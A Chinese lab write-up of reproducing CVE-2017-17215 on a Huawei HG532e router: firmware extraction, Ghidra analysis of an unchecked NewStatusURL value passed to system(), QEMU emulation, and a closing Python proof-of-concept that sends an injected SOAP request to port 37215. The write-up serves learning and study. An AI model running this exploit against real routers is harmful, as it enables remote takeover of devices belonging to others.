HG532e漏洞复现(cve-2017-17215)

IoT 2年前 (2022) admin

887 0 0

本文为看雪论坛优秀文章
看雪论坛作者ID：夏天呀

一

前言

最近一直在复现关于路由器的漏洞，前两天复现了D-link的某款溢出漏洞，感觉做起来有很多坑，一般都是搭建环境造成的坑，在这以华为HG532e的远程命令执行的漏洞做出详细的步骤，供大家参考。

我是个IOT新手，发文章一来是想把自己的实验记录一下，二来能够分享和交流一下技术和经验。

个人感觉做路由器相关的漏洞复现，无非就是以下几步：固件获取-提取固件-固件漏洞分析-环境搭建-漏洞利用-总结，以这个步骤来讲解此次文章。

一

漏洞详情

漏洞和在该嵌入式系统/bin/mic下的37215端口有关系，该文件通过37215端口启动upnp协议(通用即插即用)，之后调用了system()函数。因此可以向目标路由器通过此端口发送POST数据借此调用到system()函数，导致攻击者可以通过此数据包远程命令注入且执行，进而控制路由器。

cat 查看一下mic：

二

固件获取

在这里感谢头顶flag师傅的文章和固件，方便寻找了。

头顶flag师傅固件地址：https://gitee.com/p1piyang/backward-analysis/tree/master/

当然，一般路由器官网上都会有固件包或者去网上寻找都可以的。

不一样的是，我在环境搭建上，没去利用qemu，而是使用了像attify虚拟机的FAT工具去运行仿真路由器环境。

但是使用attify的fat运行完虚拟环境以后，没法运行upnp和mis这俩程序服务，也就是说开启不了37215端口，不过这种搭建路由器的方式可以借鉴。

最终还是使用的qemu的系统模式去模拟路由器环境。

三

提取固件

使用Binwalk提取固件嵌入式系统。不管你用win，还是ubuntu或者Kali，无非只是为了使用其内的binwalk工具而已，能解出系统才是我们的最终目的。所以不要忘记了初心，用啥系统只要有binwalk。

1、Kali下使用binwalk，我的上篇文章已经解释了其内binwalk解包为空的方法。
2、Ubuntu下使用binwalk，搜索安装完整版binwalk即可。

3、Attify提取固件，Attify是一款物联网渗透测试专用虚拟机，和Kali类似，有没有后门啥的我不知道，反正我觉得好用哈哈哈。有知情人士可以交流一波。

本次实验工具使用的是Attify，比较好用里面binwalk和fat工具都很全。

binwalk -Me 提取固件：
HG532e漏洞复现(cve-2017-17215)

得到嵌入式系统：

四

固件漏洞分析

由漏洞POC可以得知，远程注入点在<NewStatusURL>内，IDA pro或Ghidra打开squashfs-root/bin/upnp,查找NewStatusURL。

由于IDA pro反汇编出来不是很清晰，有些符号表和函数是没有的，所以这里使用Ghidra来看伪代码更加清晰。

IDA查找字符串：

Ghidra查找字符串：

在Ghidar右键查找<NewStatusURL>处被哪里调用了。
HG532e漏洞复现(cve-2017-17215)

得到关键反汇编代码：

int FUN_0040749c(int param_1){  int iVar1;  int local_418;  int local_414;  char acStack1040 [1028]   iVar1 = ATP_XML_GetChildNodeByName(*(undefined4 *)(param_1 + 0x2c),"NewDownloadURL",0,&local_418);  if (((iVar1 == 0) && (local_418 != 0)) &&     (iVar1 = ATP_XML_GetChildNodeByName                        (*(undefined4 *)(param_1 + 0x2c),"NewStatusURL",0,&local_414), iVar1 == 0))  {    if (local_414 != 0) {      snprintf(acStack1040,0x400,"upg -g -U %s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -b",               local_418,local_414);      system(acStack1040);    }  }  return iVar1;}

由伪代码可知：

&local_418和&local_414都是由ATP_XML_GetChildNodeByName()函数从xml获取节点。

并且未经任何检查就交由snprintf()函数与‘upg -g -U %s -t ‘1 Firmware Upgrade Image’ -c upnp -r %s -d’拼接复制到 ‘acStack1040’。

最终交由system()函数进行执行。

由上可知，我们的注入点就应该在snprintf()函数当中，在拼接前的单引号就把它给闭合了。再写入system()函数支持的命令进行注入，这东西就像那个sql注入20关似的。

还有看了许多文章，说的应该是两处注入点，一个NewDownloadURL，一个NewStatusURL，我想了一下，这个无非就是拼接完了(；ls；;pwd;)再拼接一个命令让system执行而已。

我的汇编语言并不好，写文章做复现也只是为了学习，也借鉴了很多师傅的文章，这就不一一列举了，如有不对请指出，谢谢各位。

五

环境搭建

这里我没使用qemu的system模式去搭建路由器环境，因为会出现蛮多bug的，所以我先放弃了这种方法，使用的FAT工具搭建虚拟环境。不过有一说一哈qemu的User模式还是很好用的，你做远程调试什么的还是很有用处的！

进入Attify虚拟机的/home/oit/tools/firmadyne，使用FAT工具去搭建路由器虚拟环境。

一张图，写明白这个FAT工具是咋运行的，到时候就这么搞就行。这个不比qemu的系统模式去搭建方便的多哈哈哈哈。不过Attify可能有后门再来就是FAT工具现在好像是不更新了。我用3.0的FAT还不如初版的好用。

三次数据库密码打完以后结果图。
HG532e漏洞复现(cve-2017-17215)

打开浏览器输入IP进行测试。
HG532e漏洞复现(cve-2017-17215)

web端登录账号密码：admin，@Hua1234。

如上图所示，我们的路由器环境搭建完成。但是运行完以后我愣住了，我本来的想法是运行好了以后直接使用poc去注入命令开启目标路由器的telnetd服务，但是谁能想到此漏洞那个upnp服务没起来，nmap扫描不到这个37215端口，我也登录不上嵌入式系统，没法继续利用poc。

使用FAT工具搭建环境当个列子吧。

最后还是使用的qemu搭建：

下载qemu：

安装依赖文件：

apt-get install libglib2.0 libglib2.0-dev autoconf automake libtool uml-utilities bridge-utils

下载模拟系统镜像和大端机：
https://people.debian.org/~aurel32/qemu/mips/ HG532e漏洞复现(cve-2017-17215)

创建网桥，添加IP：

brctl addbr Virbr0ifconfig Virbr0 192.168.147.100/24 up

创建tap接口，添加到Virbr0内：

tunctl -t tap0ifconfig tap0 192.168.147.101/24 upbrctl addif Virbr0 tap0

在系统内再开启一个bedain系统：

qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic

启动完成后，输入root root进入debain系统，添加IP尝试ping外界：

ifconfig eth0 192.168.147.102/24 up

将提取出来的嵌入式系统squashfs-root传到虚拟机内：

scp -r squashfs-root root@192.168.147.102:/

虚拟机内挂载dev和proc：

mount -o bind /dev /squashfs-root/devmount -t proc /proc /squashfs-root/proc

在根目录下启动shell：

再开一个终端使用ssh连接该虚拟机，用来开启upnp和mic：

ssh root@192.168.147.102chroot squashfs-root /bin/sh./bin/upnp./bin/mic

这时候ssh连接的终端已经不能使用了因为IP发生了变化，需要用刚开始qemu连接的终端更改一下路由器IP，方便测试：

ifconfig eth0 192.168.147.102/24 upifconfig br0 192.168.147.104/24 up

使用浏览器进行测试：
HG532e漏洞复现(cve-2017-17215)

六

漏洞利用

我们要利用攻击脚本远程使路由器远程调用system()，远程执行命令即可。
poc：

import requests headers = {    "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"} data = '''<?xml version="1.0" ?> <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">  <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">   <NewStatusURL>;执行的命令;</NewStatusURL>   <NewDownloadURL>HUAWEIUPNP</NewDownloadURL>  </u:Upgrade> </s:Body></s:Envelope>'''requests.post('目标路由器IP:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)